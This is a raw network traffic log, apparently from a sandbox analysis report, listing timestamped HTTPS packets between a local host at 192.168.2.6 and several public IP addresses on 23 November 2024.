Nov 23, 2024 02:55:22.069123030 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.069140911 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.069252014 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.069262981 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.069305897 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.072488070 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.072540998 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.072550058 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.077971935 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.078027964 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.078035116 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.081662893 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.081681967 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.081732988 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.081742048 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.081773996 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.081796885 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.083751917 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.083795071 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.083801031 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.089207888 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.089253902 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.089261055 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.094527006 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.094616890 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.094624043 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.096050978 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.096081018 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.096124887 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.096133947 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.096172094 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.096198082 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.100009918 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.100064993 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.100071907 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.105500937 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.105565071 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.105571032 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.109566927 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.109586000 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.109635115 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.109643936 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.109683037 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.109726906 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.110968113 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.111028910 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.111037016 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.116189957 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.116306067 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.116314888 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.119091988 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.119138956 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.119180918 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.119204998 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.119236946 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.119376898 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.121584892 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.121643066 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.121649027 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.124131918 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.124167919 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.124245882 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.124255896 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.124284029 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.124382973 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.125924110 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.126327038 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.126333952 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.126667023 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.126849890 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.127131939 CET	49737	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:22.127145052 CET	443	49737	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:22.129662037 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.129703999 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.129744053 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.129756927 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.129837990 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.129837990 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.140338898 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.140382051 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.140415907 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.140422106 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.140465021 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.150464058 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.150510073 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.150542974 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.150547981 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.150587082 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.150614977 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.159033060 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.159075022 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.159106016 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.159111023 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.159183025 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.169522047 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.169567108 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.169614077 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.169625998 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.169655085 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.169682026 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.178155899 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.178200006 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.178246021 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.178251982 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.178303003 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.187872887 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.187916994 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.187948942 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.187953949 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.188002110 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.198256016 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:22.198340893 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:22.198376894 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:22.198431015 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:22.226655006 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.226684093 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.226754904 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.226772070 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.226813078 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.226948023 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.237987995 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.238004923 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.238076925 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.238091946 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.238126040 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.238145113 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.247143030 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.247159958 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.247217894 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.247227907 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.247258902 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.247275114 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.257210016 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.257226944 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.257285118 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.257297039 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.257333994 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.257355928 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.266982079 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.267003059 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.267118931 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.267131090 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.267170906 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.276110888 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.276144028 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.276204109 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.276216030 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.276264906 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.286009073 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.286026955 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.286042929 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.286082029 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.286086082 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.286097050 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.286101103 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.286159039 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.286160946 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.286175013 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.286207914 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.286226988 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.286227942 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.294967890 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.294985056 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.295057058 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.295068979 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.295126915 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.295144081 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.312143087 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.312196970 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.312239885 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.312263012 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.312290907 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.312318087 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.314524889 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.314627886 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.314656019 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.314718008 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.314760923 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.314810991 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.381164074 CET	49749	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:22.381185055 CET	443	49749	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:22.396723986 CET	49747	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.396754026 CET	443	49747	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.417963028 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.417989016 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.418032885 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.418045044 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.418072939 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.418154955 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.425573111 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.425586939 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.425652981 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.425662994 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.425750971 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.432199001 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.432214975 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.432272911 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.432281971 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.432342052 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.439836025 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.439851999 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.439924955 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.439935923 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.439992905 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.447346926 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.447371960 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.447428942 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.447438955 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.447467089 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.447484970 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.454528093 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.454546928 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.454607010 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.454626083 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.454637051 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.454654932 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.454658031 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.454684019 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.454710960 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.455445051 CET	49748	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.455456018 CET	443	49748	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.492432117 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.492445946 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.492477894 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.492526054 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.492547989 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.492577076 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.492587090 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.542783022 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.542809010 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.542896986 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.542922020 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.544465065 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.546084881 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:22.546127081 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:22.548485041 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:22.549767017 CET	49764	443	192.168.2.6	20.12.23.50
Nov 23, 2024 02:55:22.549779892 CET	443	49764	20.12.23.50	192.168.2.6
Nov 23, 2024 02:55:22.677436113 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.677458048 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.677551985 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.677582026 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.677732944 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.712004900 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.712038040 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.712133884 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.712150097 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.712189913 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.729989052 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.730009079 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.730099916 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.730129957 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.730150938 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.730180979 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.750880003 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.750905991 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.751007080 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.751030922 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.751208067 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.878612041 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.878659010 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.878675938 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.878690004 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.878715992 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.878736973 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.894954920 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.894977093 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.895023108 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.895034075 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.895067930 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.895087004 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.911179066 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.911197901 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.911272049 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.911282063 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.911344051 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.925326109 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.925345898 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.925407887 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.925420046 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.925451994 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.925465107 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.942660093 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.942681074 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.942743063 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.942753077 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.942781925 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.942795038 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.956691980 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.956707954 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.956757069 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.956763983 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.956795931 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.956815004 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.972948074 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.972968102 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.973016024 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.973022938 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:22.973057985 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.973077059 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:22.995680094 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:22.998013020 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:22.998047113 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:22.998286963 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:22.998473883 CET	49755	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:22.998481035 CET	443	49755	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:22.999356985 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:22.999406099 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:22.999748945 CET	49754	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:22.999763012 CET	443	49754	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.002063990 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.002895117 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.002912998 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.003578901 CET	49752	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.003590107 CET	443	49752	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.022545099 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.022847891 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.022857904 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.023288012 CET	49753	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:23.023293972 CET	443	49753	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:23.051525116 CET	49765	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:23.051553011 CET	443	49765	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:23.051830053 CET	49765	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:23.052093029 CET	49765	443	192.168.2.6	172.217.21.36
Nov 23, 2024 02:55:23.052109957 CET	443	49765	172.217.21.36	192.168.2.6
Nov 23, 2024 02:55:23.090632915 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.090661049 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.090718031 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.090737104 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.090784073 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.090853930 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.102358103 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.102376938 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.102441072 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.102447987 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.102494001 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.113993883 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.114015102 CET	443	49751	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:23.114056110 CET	49751	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:23.114063978 CET	443	49751	150.171.27.10	192.168.2.6
